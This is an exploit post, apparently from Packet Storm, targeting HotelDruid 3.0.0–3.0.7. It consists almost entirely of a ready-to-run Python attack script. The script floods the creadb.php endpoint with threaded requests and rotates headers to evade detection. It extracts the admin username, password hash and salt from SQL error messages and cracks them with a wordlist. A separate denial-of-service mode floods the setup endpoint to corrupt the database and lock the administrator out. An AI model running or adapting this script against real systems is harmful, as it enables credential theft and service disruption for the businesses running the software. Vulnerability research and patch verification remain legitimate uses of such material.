Share
## https://sploitus.com/exploit?id=PACKETSTORM:223502
==================================================================================================================================
| # Title : HotelDruid 3.0.x Credential Exposure & Stress Testing |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.hoteldruid.com/ |
==================================================================================================================================
[+] Summary : a vulnerability in HotelDruid (versions 3.0.0โ3.0.7).
It performs high-volume HTTP requests to a vulnerable endpoint (creadb.php) in order to trigger a potential race condition or SQL error-based information disclosure.
[+] POC :
#!/usr/bin/env python3
import sys
import requests
import threading
import time
import re
import hashlib
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
]
REQUEST_DELAY = 0.02
THREADS = 50
DEFAULT_WORDLIST = "rockyou.txt"
class HotelDruidExploit:
def __init__(self, target_ip, port=80, path="/hoteldruid/"):
self.base_url = f"http://{target_ip}:{port}{path}"
self.creadb_url = urljoin(self.base_url, "creadb.php")
self.extracted_data = {
"username": None,
"hash": None,
"salt": None,
"full_response": None
}
self.found_event = threading.Event()
self.lock = threading.Lock()
def _get_headers(self):
"""Generate randomized headers to avoid detection"""
import random
return {
"User-Agent": random.choice(USER_AGENTS),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": self.base_url.rstrip('/'),
"Connection": "keep-alive",
"Referer": urljoin(self.base_url, "inizio.php"),
"Upgrade-Insecure-Requests": "1"
}
def _extract_sensitive_data(self, response_text):
"""Extract username, password hash, and salt from SQL error messages"""
patterns = {
"username": r"username[_\s]*=[_\s]*['\"]?([a-zA-Z0-9_]+)['\"]?",
"hash": r"password[_\s]*=[_\s]*['\"]?([a-fA-F0-9]{32})['\"]?",
"salt": r"salt[_\s]*=[_\s]*['\"]?([a-fA-F0-9]{20,40})['\"]?",
"email": r"email[_\s]*=[_\s]*['\"]?([^'\"]+@[^'\"]+)['\"]?"
}
extracted = {}
for key, pattern in patterns.items():
match = re.search(pattern, response_text, re.IGNORECASE)
if match:
extracted[key] = match.group(1)
mysql_pattern = r"VALUES\s*\(\s*'([^']+)'[^,]+,\s*'([a-f0-9]{32})'[^,]+,\s*'([a-f0-9]{20,})'"
match = re.search(mysql_pattern, response_text, re.IGNORECASE)
if match and not extracted.get("username"):
extracted["username"] = match.group(1)
extracted["hash"] = match.group(2)
extracted["salt"] = match.group(3)
return extracted
def send_request(self, request_id):
"""Send a single POST request to creadb.php"""
if self.found_event.is_set():
return None
try:
headers = self._get_headers()
data = {"lingua": "en"}
response = requests.post(
self.creadb_url,
headers=headers,
data=data,
timeout=10,
allow_redirects=False
)
if response.status_code == 200:
extracted = self._extract_sensitive_data(response.text)
if extracted and (extracted.get("hash") or extracted.get("salt")):
with self.lock:
self.extracted_data.update(extracted)
self.extracted_data["full_response"] = response.text
print(f"\n[!] SUCCESS! Sensitive data extracted from request #{request_id}")
print(f"[+] Username: {extracted.get('username', 'N/A')}")
print(f"[+] Hash (MD5): {extracted.get('hash', 'N/A')}")
print(f"[+] Salt: {extracted.get('salt', 'N/A')}")
print(f"[+] Email: {extracted.get('email', 'N/A')}")
self.found_event.set()
return extracted
if request_id % 50 == 0:
print(f"[*] Sent {request_id} requests...", end="\r")
except requests.exceptions.ConnectionError:
if request_id > 10:
print(f"\n[!] Connection failed - Possible DoS condition achieved!")
self.found_event.set()
except Exception as e:
pass
return None
def exploit(self, total_requests=500):
"""Main exploitation routine with multi-threading"""
print(f"[*] Targeting: {self.creadb_url}")
print(f"[*] Sending {total_requests} concurrent requests to trigger race condition...")
print("[*] This may take a few minutes...\n")
start_time = time.time()
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = {
executor.submit(self.send_request, i): i
for i in range(1, total_requests + 1)
}
for future in as_completed(futures):
if self.found_event.is_set():
for f in futures:
f.cancel()
break
time.sleep(REQUEST_DELAY)
elapsed = time.time() - start_time
if not self.found_event.is_set():
print("\n[-] Exploit failed to extract data.")
print("[!] Try increasing total_requests or reducing system resources on target.")
return False
print(f"\n[*] Exploitation completed in {elapsed:.2f} seconds")
return True
def calculate_custom_hash(self, password, salt):
"""Recreate the custom HotelDruid hashing algorithm"""
hashed = hashlib.md5((password + salt).encode()).hexdigest()
for num in range(1, 15):
truncated_salt = salt[:(20 - num)]
hashed = hashlib.md5((hashed + truncated_salt).encode()).hexdigest()
return hashed
def crack_password(self, wordlist_path, max_attempts=10000000):
"""Brute force the password using the extracted salt and hash"""
if not self.extracted_data["hash"] or not self.extracted_data["salt"]:
print("[-] Missing hash or salt. Cannot crack password.")
return None
print(f"\n[*] Starting password cracking...")
print(f"[*] Target Hash: {self.extracted_data['hash']}")
print(f"[*] Salt: {self.extracted_data['salt']}")
print(f"[*] Wordlist: {wordlist_path}")
try:
with open(wordlist_path, 'r', encoding='latin-1', errors='ignore') as f:
for idx, line in enumerate(f):
password = line.strip()
if idx % 10000 == 0 and idx > 0:
print(f"[*] Attempted {idx} passwords...", end="\r")
calculated_hash = self.calculate_custom_hash(password, self.extracted_data["salt"])
if calculated_hash == self.extracted_data["hash"]:
print(f"\n[+] PASSWORD FOUND: {password}")
return password
if idx >= max_attempts:
break
except FileNotFoundError:
print(f"[-] Wordlist not found: {wordlist_path}")
return None
print("\n[-] Password not found in wordlist.")
return None
def trigger_dos(self, intense=True):
"""Trigger DoS condition by overwhelming the database setup process"""
print(f"\n[*] Triggering DoS condition...")
if intense:
total = 1000
print(f"[*] Sending {total} rapid requests to corrupt database state...")
def flood():
for i in range(total):
try:
requests.post(self.creadb_url, data={"lingua": "en"}, timeout=2)
except:
pass
with ThreadPoolExecutor(max_workers=20) as executor:
futures = [executor.submit(flood) for _ in range(5)]
for f in as_completed(futures):
pass
else:
for i in range(300):
try:
requests.post(self.creadb_url, data={"lingua": "en"}, timeout=1)
except:
pass
time.sleep(0.02)
print("[+] DoS attack completed. Administrator may not be able to login with original credentials.")
return True
def main():
parser = argparse.ArgumentParser(description="HotelDruid 3.0.0/3.0.7 Exploit - CVE-2025-44203")
parser.add_argument("target", help="Target IP address")
parser.add_argument("-p", "--port", type=int, default=80, help="HTTP port (default: 80)")
parser.add_argument("-r", "--requests", type=int, default=500, help="Number of requests (default: 500)")
parser.add_argument("-w", "--wordlist", default=DEFAULT_WORDLIST, help="Wordlist for password cracking")
parser.add_argument("--dos-only", action="store_true", help="Only perform DoS attack")
parser.add_argument("--crack-only", action="store_true", help="Only crack password using existing extracted data")
parser.add_argument("--hash", help="Hash value (for crack-only mode)")
parser.add_argument("--salt", help="Salt value (for crack-only mode)")
args = parser.parse_args()
banner = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2025-44203 - HotelDruid 3.0.0/3.0.7 โ
โ Advanced Exploit: Credential Disclosure + DoS โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
print(banner)
if args.crack_only:
if not args.hash or not args.salt:
print("[-] Crack-only mode requires --hash and --salt")
sys.exit(1)
exploit = HotelDruidExploit(args.target)
exploit.extracted_data["hash"] = args.hash
exploit.extracted_data["salt"] = args.salt
password = exploit.crack_password(args.wordlist)
if password:
print(f"\n[+] Plaintext password: {password}")
sys.exit(0)
if args.dos_only:
exploit = HotelDruidExploit(args.target, args.port)
exploit.trigger_dos(intense=True)
sys.exit(0)
exploit = HotelDruidExploit(args.target, args.port)
if not exploit.exploit(total_requests=args.requests):
print("\n[!] Exploit failed. Possible reasons:")
print(" - Target is patched (version >= 3.0.8)")
print(" - Target has sufficient resources (4+ cores / 4+ GB RAM)")
print(" - 'Restrict to localhost' is set to Yes")
print(" - Try increasing --requests parameter")
sys.exit(1)
if exploit.extracted_data["hash"] and exploit.extracted_data["salt"]:
password = exploit.crack_password(args.wordlist)
if password:
print(f"\n[+] SUCCESSFUL EXPLOITATION COMPLETE!")
print(f"[+] Username: {exploit.extracted_data['username']}")
print(f"[+] Password: {password}")
print(f"\n[*] Note: DoS condition has been triggered.")
print("[*] The administrator cannot login with the original credentials.")
print("[*] You cannot login either - this is a pure DoS + info disclosure.")
else:
print("\n[-] Could not extract complete hash/salt for password cracking.")
choice = input("\n[?] Trigger additional DoS attack? (y/n): ").lower()
if choice == 'y':
exploit.trigger_dos(intense=True)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================